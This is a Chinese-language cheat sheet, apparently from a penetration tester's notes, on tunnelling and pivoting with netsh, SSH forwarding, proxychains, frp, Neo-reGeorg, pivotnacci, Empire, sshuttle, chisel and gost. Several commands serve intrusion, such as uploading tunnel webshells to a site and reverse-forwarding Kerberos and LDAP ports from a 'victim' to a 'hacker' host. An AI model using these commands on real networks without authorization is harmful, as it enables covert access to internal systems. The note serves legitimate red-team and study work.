windows netsh端口转发
1 2 3 4 5 6 7 8 9 10
| 开启转发 netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
查看存在的转发
netsh interface portproxy show all
删除指定规则
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=xx.xx.xx.xx
|
访问listen的地址端口,会被转发到dest的地址与端口
SSH
ssh 命令除了登陆外还有三种代理功能:
正向代理(-L):相当于 iptable 的 port forwarding
反向代理(-R):相当于 frp 或者 ngrok
socks5 代理(-D):相当于 ss/ssr
正向代理
远程端口映射到其他机器
HostB 上启动一个 PortB 端口,映射到 HostC:PortC 上,在 HostB 上运行:
1
| HostB$ ssh -L 0.0.0.0:PortB:HostC:PortC user@HostC
|
这时访问 HostB:PortB 相当于访问 HostC:PortC(和 iptable 的 port-forwarding 类似)。
本地端口通过跳板映射到其他机器
HostA 上启动一个 PortA 端口,通过 HostB 转发到 HostC:PortC上,在 HostA 上运行:
1
| HostA$ ssh -L 0.0.0.0:PortA:HostC:PortC user@HostB
|
这时访问 HostA:PortA 相当于访问 HostC:PortC。
反向代理
HostA 将自己可以访问的 HostB:PortB 暴露给外网服务器 HostC:PortC,在 HostA 上运行:
1
| HostA$ ssh -R HostC:PortC:HostB:PortB user@HostC
|
那么链接 HostC:PortC 就相当于链接 HostB:PortB。使用时需修改 HostC 的 /etc/ssh/sshd_config,添加:
GatewayPorts yes
socks5代理
利用ssh打开SOCKS Proxy
1 2 3
| ssh -N -f -D 9000 [user]@[host]
ssh -N -f -D 0.0.0.0:39999(监听地址端口) xx.xx.xx.xx -p 22(ssh端口)
|
Proxychains
配置代理
1
| vi /etc/proxychains.conf
|
修改如下位置
1 2
| [ProxyList] socks5 127.0.0.1 1080
|
使用代理
Graphtcp
graftcp 可以把任何指定程序(应用程序、脚本、shell 等)的 TCP 连接重定向到 SOCKS5 或 HTTP 代理。
安装
1 2 3 4
| git clone https://github.com/hmgle/graftcp.git cd graftcp && make sudo make install sudo make install_systemd
|
使用
1 2 3 4 5 6 7
| 启动graftcp-local,参数使用socks5代理或http代理的地址,相当于配置了代理 graftcp-local/graftcp-local -socks5 127.0.0.1:1080 使用graftcp通过代理执行命令 如,安装pip包 ./graftcp pip install requests 如,打开firefox ./graftcp Firefox
|
reGeorg
1 2 3 4 5
| git clone https: python neoreg.py generate -k password 生成tunnel文件,将对应的tunnel上传到网站可访问目录下 python3 neoreg.py -k password -u http: 默认会开启本地1080端口socks5,-p参数可指定端口,-l参数可指定监听地址
|
详细参考 http://uuzdaisuki.com/2021/04/15/reGeorg%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/
frp
服务端配置
1 2 3 4
| [common] bind_port = 7000 token = www.baidu.com
|
使用如下命令开启服务器
客户端配置(socks5隧道)
配置客户端时,要注意common中的ip和端口指向服务器,token与服务器中保持一致,每个socks代理,需要单独起plugin_name,并使用不同的remote_port。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| [common] server_addr = x.x.x.x server_port = 7000 tls_enable = true token = www.baidu.com pool_count = 5 protocol = tcp health_check_type = tcp health_check_interval_s = 100 [socks-001] type = tcp remote_port = 6666 plugin = socks5 plugin_user = admin plugin_passwd = www.baidu.com use_encryption = true use_compression = true
|
使用如下命令开启客户端
1 2 3 4
| 普通模式: frpc -c frpc.ini 后台无回显模式: nohup frpc -c frpc.ini &
|
此时在proxyfire等代理工具中配置:
- ip为server_ip
- port为remote_port
- 用户为plugin_user
- 密码为plugin_passwd
即可将客户端网络作为代理出口使用
详细参考 http://uuzdaisuki.com/2020/10/21/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E5%B7%A5%E5%85%B7frp/
pivotnacci
与reGeorg类似,通过http服务建立socks5代理
1 2 3
| pip3 install pivotnacci pivotnacci https://domain.com/agent.php --password "passwd" pivotnacci https://domain.com/agent.php --polling-interval 2000
|
tsocks
Tsocks是一个透明SOCKS代理软件,可以强迫任何软件通过socks代理上网
1 2 3 4 5 6 7 8 9 10 11
| 安装: apt-get install tsocks 修改配置文件: vi /etc/tsocks.conf 修改以下内容: local = 192.168.1.0/255.255.255.0 server = 127.0.0.1 server_type = 5 server_port = 9999 #SOCKS 服务使用的端口 运行: tsocks 应用程序
|
Empire
1 2 3 4
| (Empire) > socksproxyserver (Empire) > use module management/invoke_socksproxy (Empire) > set remoteHost xx.xx.xx.xx (Empire) > run
|
sshuttle
https://github.com/apenwarr/sshuttle
pip install sshuttle
1 2 3 4 5 6 7
| pacman -Sy sshuttle apt-get install sshuttle sshuttle -vvr user@10.10.10.10 10.1.1.0/24 sshuttle -vvr username@pivot_host 10.2.2.0/24
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
|
chisel
1 2 3 4 5
| go get -v github.com/jpillora/chisel
# forward port 389 and 88 to hacker computer user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
|
Gost
1 2 3 4 5 6 7 8
| git clone https://github.com/ginuerzh/gost cd gost/cmd/gost go build
Server side: gost -L=socks5://:1080 Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
|
参考文档
https://zhuanlan.zhihu.com/p/57630633 SSH 命令的三种代理功能